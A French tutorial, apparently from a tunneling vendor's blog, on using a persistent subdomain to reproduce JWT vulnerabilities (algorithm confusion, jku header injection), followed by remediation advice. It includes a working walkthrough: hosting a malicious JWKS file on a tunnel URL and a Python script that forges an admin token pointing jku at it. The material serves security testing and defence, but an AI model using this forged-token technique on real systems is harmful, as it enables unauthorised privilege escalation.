Redirections stables pour les tests d'authentification : déboguer les vulnérabilités JWT avec des sous-domaines persistants

Si vous passez vos journées à construire des systèmes de gestion d’identité et d’accès (IAM) ou à rechercher des bugs dans les flux d’authentification, vous connaissez probablement bien la douleur du tunnel éphémère.

Vous configurez votre environnement de développement local, lancez un tunnel pour acheminer le trafic public vers votre localhost, et commencez à tester un callback OAuth 2.0 complexe ou un flux de vérification de JSON Web Token (JWT). Ensuite, votre ordinateur portable se met en veille, votre Wi-Fi coupe pendant trois secondes, ou vous appuyez accidentellement sur Ctrl+C. Le tunnel redémarre. Votre URL générée change de https://a1b2c3d4.random-tunnel.com à https://e5f6g7h8.random-tunnel.com. Soudain, vos listes d’autorisation du fournisseur d’identité (IdP), vos politiques CORS, et vos URI de redirection sont cassés. Vous devez vous reconnecter à Auth0, Okta ou Keycloak, mettre à jour les URLs de callback, et recommencer tout le processus de test.

Lors de tests de vulnérabilités de sécurité complexes — comme la confusion d’algorithme JWT ou l’injection malveillante d’en-têtes JWKS (jku) — cette reconfiguration constante est plus qu’une simple nuisance. Elle casse votre flux, ralentit votre recherche, et introduit des erreurs de configuration.

Dans ce guide, nous verrons comment construire un environnement de test d’authentification stable et prévisible localement, analyser comment fonctionnent réellement les vulnérabilités modernes de JWT, et reproduire ces vulnérabilités avec un sous-domaine persistant — en étant précis sur les outils de tunneling qui offrent réellement cette persistance gratuitement, et ceux qui ne font que donner l’illusion.

La douleur des URLs éphémères en authentication

Les protocoles d’authentification modernes reposent fortement sur une validation stricte des URI. Que vous implémentiez OpenID Connect (OIDC), SAML SSO, ou OAuth 2.0, le modèle de sécurité impose que les tokens et codes d’autorisation soient uniquement livrés à des endpoints explicitement pré-enregistrés et de confiance.

Lorsque vous utilisez un service de tunneling qui distribue une URL aléatoire et éphémère à chaque démarrage, cela crée une friction réelle dans la recherche de vulnérabilités et le développement backend :

• Validation stricte des redirect URI. Les fournisseurs OAuth attendent généralement une correspondance exacte avec les redirect URIs enregistrés. Un sous-domaine changé signifie que l’IdP rejettera le callback, bloquant tout le flux.

• Politiques CORS et d’origine. Les configurations Cross-Origin Resource Sharing dans les applications web modernes limitent les requêtes API aux origines connues. Une URL éphémère oblige à mettre à jour constamment les variables d’environnement et à redémarrer les serveurs frontend pour éviter les échecs de pré-vol.

• Webhooks et callbacks d’événements. Lors de tests d’événements d’authentification asynchrones (webhooks d’enregistrement utilisateur, signaux de révocation de token), le service tiers a besoin d’une URL stable pour livrer la charge utile.

• Hébergement de payload malveillant pour les tests de sécurité. Comme nous le verrons avec les vulnérabilités JWT, certains exploits nécessitent d’héberger une charge malveillante (comme un set de clés publiques falsifiées) à une URL accessible par le serveur cible. Si cette URL change constamment, la reproduction de l’exploit devient fastidieuse.

Historiquement, un sous-domaine persistant signifiait payer pour celui-ci — et pour la plupart des services de tunneling, c’est toujours le cas aujourd’hui. Il est important d’être clair à ce sujet, car beaucoup de marketing “gratuit” brouillent la ligne.

Où le “gratuit” vous donne réellement un sous-domaine stable

Tous les outils qui annoncent une offre gratuite ne vous donnent pas un sous-domaine personnalisé et persistant. Pinggy, par exemple, est un tunnel SSH réellement utile sans installation requise, mais son plan gratuit vous donne un sous-domaine aléatoire et limite chaque session à 60 minutes — un nouveau tunnel signifie une nouvelle URL. Les sous-domaines persistants et personnalisés sur Pinggy sont une fonctionnalité payante. Si un guide vous dit le contraire, vérifiez la page de tarification du fournisseur avant de construire votre workflow.

Deux approches qui tiennent la route :

• InstaTunnel offre des sous-domaines personnalisés dans sa version gratuite : sessions de 24h, jusqu’à trois tunnels simultanés, et un flag --subdomain qui vous permet de demander le même nom à chaque exécution (https://your-name.instatunnel.my). C’est une option raisonnable si vous souhaitez un nom stable sans carte de crédit.

• Cloudflare Tunnel vous offre un tunnel nommé réellement permanent et gratuit, sans limite de bande passante ni expiration — mais il nécessite un compte Cloudflare et un domaine sur leur DNS, ce qui implique une configuration initiale.

Pour le tutoriel ci-dessous, nous utiliserons InstaTunnel, puisqu’il ne nécessite qu’une installation via npm et fournit un sous-domaine stable en une commande — pratique pour configurer une liste blanche IdP une seule fois.

Analyse approfondie : confusion d’algorithme JWT

Pour comprendre pourquoi un tunnel stable est important pour les tests, il faut voir comment ces exploits fonctionnent réellement. Un JWT se compose de trois parties séparées par des points : un header, une charge utile, et une signature. L’en-tête indique l’algorithme cryptographique utilisé — généralement HS256 (HMAC symétrique) ou RS256 (RSA asymétrique).

Confusion d’algorithme se produit lorsqu’un serveur attend un token signé avec un algorithme asymétrique comme RS256, mais peut être trompé en vérifiant un token signé avec un algorithme symétrique comme HS256 — en utilisant la clé publique RSA comme secret HMAC. Étant donné que les clés publiques RSA sont, par conception, publiques, un attaquant qui peut faire en sorte que le serveur traite cette clé comme un secret HMAC peut forger un token signé valablement.

Cela est documenté depuis 2015 et apparaît encore dans des systèmes en production, bien que les causes profondes aient évolué :

• Paramètres par défaut des librairies historiques. Les versions de jsonwebtoken pour Node jusqu’à 8.5.1 pouvaient revenir à l’algorithme none et sauter la vérification de signature dans certains cas (aucun algorithme spécifié, clé falsy, token sans signature) — corrigé dans CVE-2022-23540 et en version 9.0.0. Les anciennes versions non mises à jour restent vulnérables.

• Comportement actuel des librairies. PyJWT (2.x) exige maintenant une liste explicite algorithms dans jwt.decode() — il ne faut pas l’oublier. Si un développeur passe algorithms=['RS256', 'HS256'], la librairie acceptera encore un token signé en HS256, vérifié avec la clé fournie — y compris une clé publique RSA mal utilisée comme secret HMAC.

• Sélection dynamique de l’algorithme. La pattern la plus dangereuse est lorsque le code lit l’algorithme dans l’en-tête contrôlé par l’attaquant et le renvoie dans la vérification, plutôt que de fixer l’algorithme attendu.

La structure de l’attaque

Un chercheur testant une dégradation RS256 vers HS256 suit généralement ces étapes :

1. Obtenir la clé publique. Souvent accessible via un endpoint style /.well-known/jwks.json, ou dans la documentation publique de l’IdP.

2. Modifier le token. Décoder un JWT légitime, changer alg de RS256 à HS256 dans l’en-tête, et modifier la charge utile pour tenter un changement de privilège (ex : "role": "user" → "role": "admin").

3. Signer avec la clé publique comme secret HMAC. Signer le token modifié avec HMAC-SHA256, en utilisant la chaîne de la clé publique RSA comme secret symétrique.

4. Soumettre et observer. Si le serveur lit HS256 dans l’en-tête, effectue une vérification HMAC, et utilise sa clé publique RSA comme secret, la signature falsifiée sera validée.

Test d’injection d’en-tête jku

Une vulnérabilité liée consiste à exploiter l’en-tête jku (JWK Set URL), qui permet de pointer vers l’endroit où le serveur doit récupérer la clé publique pour vérifier le token. Si le serveur télécharge la clé sans vérifier contre une liste blanche, un attaquant peut héberger son propre JWK, pointer jku dessus, et signer le token avec la clé privée correspondante.

C’est précisément là que les URLs de tunnels éphémères posent problème : le chercheur doit héberger un fichier jwks.json malveillant à une URL stable, car à chaque redémarrage du tunnel avec une nouvelle adresse, le script d’exploit et l’en-tête jku doivent être mis à jour.

Mise en place d’un environnement de test persistant étape par étape

Étape 1 : Obtenir un sous-domaine stable

Installer InstaTunnel et lancer un tunnel avec un sous-domaine choisi :

npm install -g instatunnel



# Remplacez 'my-jwt-exploit-lab' par le sous-domaine de votre choix

instatunnel 8080 --subdomain my-jwt-exploit-lab

Cela redirige https://my-jwt-exploit-lab.instatunnel.my vers votre port local 8080. Sur la version gratuite, les sessions durent jusqu’à 24h et vous pouvez demander le même sous-domaine à chaque exécution, évitant de changer la configuration IdP ou le script d’exploit.

Étape 2 : Configurer votre interception OAuth

Ajoutez l’URI de redirection stable dans le tableau de bord de votre IdP (Auth0, Okta, etc.) :

https://my-jwt-exploit-lab.instatunnel.my/callback

Puisque le sous-domaine vous appartient, vous n’aurez probablement pas besoin de le modifier à nouveau.

Étape 3 : Héberger le payload JWKS malveillant (pour attaques jku)

Générez une paire de clés RSA d’attaquant et formatez la clé publique en JWK. Enregistrez-la sous jwks.json :

{

  "keys": [

    {

      "kty": "RSA",

      "kid": "malicious-key-id-001",

      "use": "sig",

      "n": "VOTRE_MODULUS_DE_CLÉ_PUBLIQUE_RSA...",

      "e": "AQAB"

    }

  ]

}

Hébergez-la avec un serveur HTTP local simple :

python3 -m http.server 8080

Votre set de clés malveillant est maintenant accessible à https://my-jwt-exploit-lab.instatunnel.my/jwks.json.

Étape 4 : Créer le token malveillant

import jwt  # PyJWT

from cryptography.hazmat.primitives import serialization



with open("attacker_private_key.pem", "rb") as key_file:

    private_key = serialization.load_pem_private_key(key_file.read(), password=None)



payload = {

    "sub": "admin_user_id",

    "role": "admin",

}



headers = {

    "kid": "malicious-key-id-001",

    "jku": "https://my-jwt-exploit-lab.instatunnel.my/jwks.json",

}



encoded_jwt = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)

print(f"Token falsifié : {encoded_jwt}")

Étape 5 : Exécuter et déboguer

Envoyez le token falsifié à l’application cible. Si elle fait confiance à l’en-tête jku, elle résoudra votre URL de tunnel stable, téléchargera votre jwks.json, et — si vulnérable — validera le token falsifié.

Parce que l’URL du tunnel ne change pas entre les exécutions, vous pouvez mettre des points d’arrêt dans l’application cible, la redémarrer, ajuster votre script d’exploit, et rejouer l’attaque sans avoir à modifier l’URL du payload à chaque fois.

Sécuriser les applications contre ces attaques

Une fois la vulnérabilité reproduite dans un environnement contrôlé, les correctifs sont bien établis :

• Imposer un algorithme strict et codé en dur. Ne laissez jamais la vérification faire confiance à l’algorithme indiqué dans l’en-tête du token. Spécifiez exactement celui attendu :

  • Node.js (jsonwebtoken) : jwt.verify(token, publicKey, { algorithms: ['RS256'] })

  • Python (PyJWT) : jwt.decode(token, public_key, algorithms=['RS256'])

• Séparer les types de clés. Les secrets symétriques (pour HMAC) et les clés publiques asymétriques ne doivent jamais être interchangeables dans votre configuration — ne stockez pas les deux dans une seule variable JWT_KEY que le code doit deviner.

• Lister en whitelist les domaines jku et x5u. Si votre application doit récupérer des clés dynamiquement depuis une URL dans l’en-tête, validez cette URL contre une whitelist stricte plutôt que de l’accepter telle quelle.

• Rejeter explicitement alg: none. Les versions modernes des principales librairies ne permettent plus par défaut les tokens non signés, mais des implémentations personnalisées ou des systèmes legacy non mis à jour peuvent encore les traiter — vérifiez que cela est bien rejeté.

• Maintenir les dépendances à jour. La vulnérabilité CVE-2022-23540 dans jsonwebtoken rappelle que les comportements par défaut des librairies changent pour des raisons de sécurité ; une version obsolète peut réintroduire une vulnérabilité corrigée.

Conclusion

Tester des failles d’authentification nécessite précision et cohérence — un environnement qui ne vous lutte pas. Les URLs éphémères introduisent une friction qui casse la configuration et rend la reproduction des vulnérabilités difficile.

Un sous-domaine réellement persistant, que ce soit via un outil comme InstaTunnel en version gratuite ou un tunnel nommé Cloudflare auto-configuré, élimine cette friction. Soyez simplement sceptique face à tout outil prétendant offrir des “sous-domaines personnalisés en version gratuite” sans vérifier sa page de tarification — plusieurs tunnels recommandés, Pinggy notamment, réservent cette fonctionnalité à une offre payante. Que vous déboguiez des redirections OAuth, testiez des webhooks, ou reproduisiez une attaque de confusion d’algorithme JWT, une URL stable vous permet de vous concentrer sur la logique de la vulnérabilité plutôt que sur la logistique réseau.